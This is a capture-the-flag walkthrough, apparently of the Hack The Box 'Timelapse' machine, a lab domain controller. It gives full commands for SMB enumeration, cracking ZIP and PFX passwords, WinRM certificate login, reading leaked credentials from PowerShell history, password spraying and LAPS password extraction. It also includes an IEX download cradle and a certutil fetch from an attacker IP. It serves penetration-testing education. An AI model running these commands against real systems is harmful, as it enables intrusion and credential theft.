PRIMARY CATEGORY → EASY

Summary

  • Listing SMB Shares via Guest Authentication using NetExec and SMBMap
  • Mounting SMB Shares locally
  • Checking for custom binaries using MD5-Sum and virustotal.com search engine
  • Cracking a Protected-password ZIP File using zip2john and John the Ripper
  • Cracking a Protected-password PFX File using pfx2john and John the Ripper
  • Inspecting X509 Certificate and Private Key from a PKCS12 (PFX) using OpenSSL
  • Certificate and Private Key Extraction on PEM Format from a PKCS12
  • Domain User Enumeration with Kerbrute
  • Establish a Remote Connection to the target via WinRM over SSL/TLS, authenticating using Public and Private keys
  • LPE: information Leakage on Powershell User’s History
  • Failed ASREPRoast and Kerberoasting Attack
  • Dumping all Domain User Accounts with Net RPC (Samba Suite)
  • Exhaustive Domain Enumeration with ldapdomaindump.py
  • LPE: LAPS Password Extraction leveraging the LAPS_READERS Group membership using ldapsearch, Impacket’s GetLAPSPassword.py, Get-ADComputer and Powerview
  • Bonus: BloodHound Deployment and Data Collection using ingestors/collectors such as BloodHound.py (CE Github Branch) and SharpHound.exe


Setup

Directory creation with the Machine’s Name

mkdir Timelapse && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.132.147

As mentioned, according to the TTL, It seems that It is a WINDOWS Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG timelapse.allPorts 10.129.132.147

Open Ports →

53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5986, 9389, 49667, 49673, 49674, 49688 and 49696
Comprehensive Scan

We can apply a little filter to the timelapse.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\d{1,5}(?=/open)' timelapse.allPorts | xargs | sed 's@\s@,@g' ) -sCV -n -v -Pn --disable-arp-ping -oN timelapse.targeted 10.129.132.147
139, 445 - SMB

Based on the ports opened on the target we can deduce that it is a Domain Controller (DC)

We can use tools such as netexec to gather interesting information about the target such as the following →

  • Hostname
  • Domain name
  • OS version installed
  • SMB Signing Status
  • SMBv1 Support
nxc smb 10.129.132.147

As usual, SMB Signing is enabled on the Domain Controller to mitigate NTLM Relay attacks over SMB or HTTP to the SMB Server

This security measure ensures that session messages are signed between both parties using a pre-shared session key

Once obtained the hostname and domain name, simply add an entry to the /etc/host file, so the system is capable of resolve that names to the target IP Address

This is important to ensure that protocols, with a strong dependency on name resolution, work correctly

printf "%s\t%s\t%s\t%s\n" "10.129.132.147" "timelapse.htb" "dc01" "dc01.timelapse.htb" >> /etc/hosts

Next, let’s list the available shares on the target

Since we do not have any valid credentials, let’s start with a Null Authentication

nxc smb dc01 --username '' --password '' --shares

But we get an STATUS_ACCESS_DENIED error

We check if the guest account is enabled, which is not by default

nxc smb dc01 --username 'guest' --password '' --shares

And it is! We could authenticate as the guest domain account in order to list the available shares

When performing SMB enumeration and hitting a successful login, I always like to run SMBMap after netexec to get a more detailed insight of the share’s DACLs

smbmap -H dc01 -d 'timelapse.htb' -u 'guest' -p ''

And we only have read permission on the IPC$ and Shares resources

We probably will not find anything interesting on IPC$ apart from system namedpipes

The Shares resource seems like a custom one. Let’s examine it. We can do this either by mounting the resource locally or using SMBMap. Let’s see both

SMBMap
smbmap -H dc01 -d 'timelapse.htb' -u 'guest' -p '' -R 'Shares'

And there are several interesting files such as a ZIP file contaning something related to WinRM and a bunch of LAPS’s office docs

Remember that the Local Administrator Password Solution is designed to manage local administrator password on all domain-joined computers. It works by periodically generating strong passwords, changing them and storing them on the DC

Some users belonging to specific groups or having certain rights have the ability to read those passwords

Since there are documents related to LAPS and a Microsoft Installer, this solution is probably installed on the target

However, I always suspicious of static binaries left on shared folders. I usually decompile them as they could contain some modifications

Mounting the Shared Folder locally

First, to check if the binary has been modified, mount the above share as follows

mkdir -p mnt/Shares
cd !$ && mount --type cifs --options username='guest',password='' '//10.129.132.147/Shares' .
find .

Get the MD5 hash of the MSI file

md5sum HelpDesk/LAPS.x64.msi

Next, search for that hash on the following VirusTotal section

Zoom in

And we get that the file is distributed by Microsoft and its last analysis was 5 days ago.

Zoom in

Therefore, it seems that this binary file was not modified, so probably there is nothing interesting within it

Regarding to the DOCX files, we can extract their metadata as follows →

find . -iname '*.docx' -exec exiftool {} \;

But there is nothing here

We did not get anything interesting either by inspecting their content as those files are official documents i.e. they have not been modified

It only remains the ZIP file

Likewise, we can get a copy of this file either by running the cp command or by downloading it with SMBMap

smbmap -H 'dc01' -d 'timelapse.htb' -u 'guest' -p '' --download 'Shares/Dev/winrm_backup.zip'

We can list its content as follows

mv dc01-Shares_Dev_winrm_backup.zip winrm_backup.zip
unzip -l !$

And it contains a PFX file, which usually stores a PKCS12 certificate protected by a password

However, when we try to unzip the file, we are asked for a password

unzip winrm_backup.zip

We can use zip2john tool to convert the ZIP file to a crackable hash format

zip2john winrm_backup.zip > zip.hash

And then, use John to try to crack that hash

john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

And the password is →

supremelegacy

Now, we can extract the PFX file from the ZIP

unzip winrm_backup.zip

We can inspect the content of the PFX file

openssl x509 -in legacyy_dev_auth.pfx -noout -text

But we are asked for a password again 😊

In this case, we can use another tool called pfx2john

The workflow is the same, just get the crackable hash from the PFX file and try to crack it using John

pfx2john legacyy_dev_auth.pfx > pfx.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pfx.hash

And, once again, we manage to obtain the password

thuglegacy

Therefore, now we can inspect the content of the certificate

openssl x509 -in legacyy_dev_auth.pfx -noout -text

In its content, we see on the Subject Alternative Name (SAN) section that the related User Principal Name (UPN) is legacyy@timelapse.htb

Therefore, we could deduce that this certificate was issued for that domain user account

We can check if this UPN is a valid user account using kerbrute

git clone https://github.com/ropnop/kerbrute kerbrute
cd !$ && go build -ldflags '-s -w' .
./kerbrute userenum --dc 10.129.132.147 --domain 'timelapse.htb' <( echo "legacyy" )

And it is!

With a PFX certificate issued for a certain domain user account, I can think of two things →

I.e. Using the PFX certificate to initialize an AS Exchange through PKINIT Certificate Trust

After several validations, we would receive a Ticket Granting Ticket related to the user legacyy

Therefore, we could either use the TGT to perform a Pass the Ticket as legacyy or carry out an Unpac the Hash in order to obtain the embedded NT Hash from the TGT’s PAC via U2U, and then perform a Pass the Hash as legacyy too

  • Extract both the X509 certificate and the private key from the PFX file (PKCS12) and use them to establish a WinRM Session remotely as the user legacyy

The ZIP file is called winrm_backup.zip, so it would not be unusual

Let’s start with the second one, if it does not work, we move on the first point

Therefore, proceed as follows to extract the certificate and key from the PFX file

  • X509 Certificate
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -clcerts -out cert.pem
  • Private Key
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out key.pem

Once both have been extracted, just establish a WinRM session using Evil-WinRM


Shell as System User

Take into account that the port 5985 is closed on the target, but not 5986 (WinRM over SSL/TLS)

evil-winrm --ip 'dc01' --pub-key ./cert.pem --priv-key key.pem --user 'legacyy' --ssl

And we are in!


Privesc #1

Initial Non-Privileged User → Legacyy

Information Leakage on Powershell User’s history

First, let’s check to which groups the current user belongs

whoami /groups

The only groups that stand out from the rest are Remote Management Users and Development groups

But we cannot do much about this at the moment

We can also check the privileges associated with the current access token

whoami /priv

But nothing interesting either

Next, we could check for stored credentials on Windows Vaults and for Autologon credentials

  • Stored Credentials (Windows Vault)
cmdkey.exe /list
  • Autologon Plain Credentials
Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select-Object defaultDomainName, defaultDomainUser, defaultPassword | ft -Wrap

But both are empty

We could also check for any content within the Powershell History File

First, look for the directory where that file is located

(Get-PSReadLineOption).HistorySavePath

Then, search for any file within the above directory and list its content

dir -Force C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
Get-Content C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

And we have leaked credentials! On a previous session, the current user created a PSCredential object in order to run commands as svc_deploy user via MS-PSRP using the Invoke-Command cmdlet

Another way to populate a PSCredential object would be

$cred = Get-Credential

Running the above command will prompt the system to ask for a password through an interactive prompt, so, a GUI is required

We can check if these credentials are valid

nxc smb dc01 --username 'svc_deploy' --password 'E3R$Q62^12p7PLlC%KWaxuaV'

And they are!

Privesc #2

Reading plain LAPS password leveraging the LAPS_Readers Group privileges

Having valid credentials give us a wide range of options

First, let’s dump all domain user accounts into a user list

net rpc user -U 'svc_deploy%E3R$Q62^12p7PLlC%KWaxuaV' -S DC01

Next, let’s perform a password spraying using the svc_deploy user’s password to see if there is any credential reuse

But be aware of account locking, so before doing anything, check the domain password policy

nxc smb DC01 --username 'svc_deploy' --password 'E3R$Q62^12p7PLlC%KWaxuaV' --pass-pol

There is no threshold defined, so we can proceed without concern

nxc smb DC01 --username users.list --password 'E3R$Q62^12p7PLlC%KWaxuaV' --continue-on-success

But there is not match aside from svc_deploy user

Next, we can if any user account is susceptible for ASREPRoasting

I.e. An actor can retrieve the TGT and encrypted_part of the KDC’s AS for a domain account if the given principal has the USER_DONT_REQ_PREAUTH flag enabled on its UserAccounControl attribute

With that said, we could proceed as follows using Impacket’s GetNPUsers.py

GetNPUsers.py -dc-ip 10.129.248.202 -no-pass -usersfile ./users.list 'timelapse.htb/'

But they are not

Since we have valid credentials, we can search for valid Service Principal Names registered on any domain object

Once we have a list of valid SPNs, we can initialize a TGS Exchange in order to request a Service Ticket for a certain SPN, which will be encrypted with a key derived from the password of the user account for which the given SPN is registered

Therefore, we could extract a crackable hash format from that Service Ticket. If an actor is able to crack that hash, he would obtain the plain text credentials of the given service account

This is is basically a Kerberoasting attack

We can perform this attack using Impacket’s GetUserSPNs.py

But, first, let’s look for SPNs via LDAP using ldapsearch

ldapsearch -LLL -x -H 'ldap://dc01.timelapse.htb' -D 'svc_deploy@timelapse.htb' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'dc=timelapse,dc=htb' '(&(ObjectClass=user)(servicePrincipalName=*))' servicePrincipalName | grep -i -- 'ServicePrincipalName'

But all the above SPNs are registered on computer accounts

Be aware that a domain-joined computer account password is generated randomly by the DC when the computer joins to the domain for the first time

Therefore, an adversarie probably would not be able to crack the generated hash. We are rather looking for SPN registered on user accounts, where the password is set manually

GetUserSPNs.py -dc-ip 10.129.248.202 'timelapse.htb/svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV'

As expected, we get nothing

To get a broader view of the domain, we can run ldapdomaindump

git clone https://github.com/dirkjanm/ldapdomaindump ldapdomaindump
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install .
mkdir timelapse_htb.data
cd !$ && python3 ldapdomaindump.py --user 'timelapse.htb\svc_deploy' --password 'E3R$Q62^12p7PLlC%KWaxuaV' --no-json --no-grep 'DC01'

Next, build an HTTP Server in order to be able to browse the generated information correctly

python3 -m http.server 80

Zoom in

The domain group membership for each user is a bit unusual tbh. However, one user stands out from the rest

In fact, it is the user that we control → svc_deploy

This user account belongs to the LAPS_Readers group, which means that we are able to retrieve the plain password stored on the ms-mcs-AdmPwd attribute for each domain computer account

An operator can perform this task either remotely using Impacket’s GetLAPSPassword.py or ldapsearch or locally using the Get-ADComputer powershell cmdlet

ldapsearch
ldapsearch -LLL -x -H 'ldap://dc01.timelapse.htb' -D 'svc_deploy@timelapse.htb' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'dc=timelapse,dc=htb' '(ObjectClass=computer)' ms-mcs-admpwd | grep -i -- 'ms-mcs-admpwd'
Impacket’s GetLAPSPassword.py
GetLAPSPassword.py -dc-ip 10.129.248.202 'timelapse.htb/svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV'
Get-ADComputer

First, establish a WinRM session with the target as svc_deploy user

evil-winrm --ip DC01 --user 'svc_deploy' --password 'E3R$Q62^12p7PLlC%KWaxuaV' --ssl

Then, proceed as follows in order to extract the LAPS password for any domain computer account

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

We can also use Powerview

  • From the Attacker ⚔️
curl --silent --location --request GET "https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/master/Recon/PowerView.ps1" --output powerview.ps1
python3 -m http.server 80
  • From the Target 🎯
IEX (New-Object Net.WebClient).downloadString('http://10.10.16.92/powerview.ps1')
Get-DomainComputer 'dc01' -Properties 'cn', 'ms-mcs-admpwd', 'ms-mcs-admpwdexpirationtime' | fl

Finally, we can validate the above password for the user Administrator

nxc smb DC01 --username 'Administrator' --password '%gt%616(@S4&9IW0-.zIY273'

And it is valid. So we can connect to the target remotely using Evil-WinRM again, but this time authenticating as the Administrator user

evil-winrm --ip DC01 --user 'Administrator' --password '%gt%616(@S4&9IW0-.zIY273' --ssl

This time, the root.txt flag is not located on the Administrator’s Desktop

dir -Force C:\Users\Administrator\Desktop

Simply perform a recursive search from C:\Users path, filtering for root.txt

dir -Path 'C:\Users\' -Recurse -Force -Name 'root.txt' -ErrorAction SilentlyContinue

And we found the root.txt flag on the TRX user’s Desktop


Bonus: Deploying BloodHound

As additional information, since the target is a Domain Controller, remember that we can always rely on BloodHound and its edges in order to discover interesting attack and privesc vectors

We can deploy this pentest solution locally as follows →

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install

During the setup process, several docker containers have been deployed. We can check this out as follows

docker ps --all

Once we have BloodHound ready to ingest, we must run a collector/ingestor either remotely or locally for domain data collection

BloodHound.py

BloodHound.py

Remotely

git clone https://github.com/dirkjanm/BloodHound.py BH.py
cd !$ && git checkout bloodhound-ce # Switching to BloodHound-CE branch
python3 -m venv .venv
. !$/bin/activate && pip3 install .
python3 bloodhound.py --collectionmethod All --domain 'timelapse.htb' --username 'svc_deploy' --password 'E3R$Q62^12p7PLlC%KWaxuaV' --nameserver 10.129.248.202 --domain-controller 'dc01.timelapse.htb' --zip
SharpHound.exe

Downloaded from the “Download Collectors” section of the BloodHound solution deployed locally

Locally

  • From the Attacker ⚔️
python3 -m http.server 80
  • From the Target🎯
mkdir C:\Windows\Temp\BH
cd C:\Windows\Temp\BH
certutil.exe -urlcache -split -f http://10.10.16.92/SharpHound.exe
.\SharpHound.exe all

The same ZIP containing JSON files is generated using both ways

Simply upload it into BloodHound

Zoom in

Next, wait a seconds for data processing and move on to the search section and look for the svc_deploy user node

Mark it as owned and display the “Outbound Object Control” section

Zoom in

From there, we can see that the user account svc_deploy, member of the group LAPS_READERS, has the ability to read the password set by Local Administrator Password Solution (LAPS) on the computer account DC01.timelapse.htb

And that’s all for now! 😊 Move on to the next one!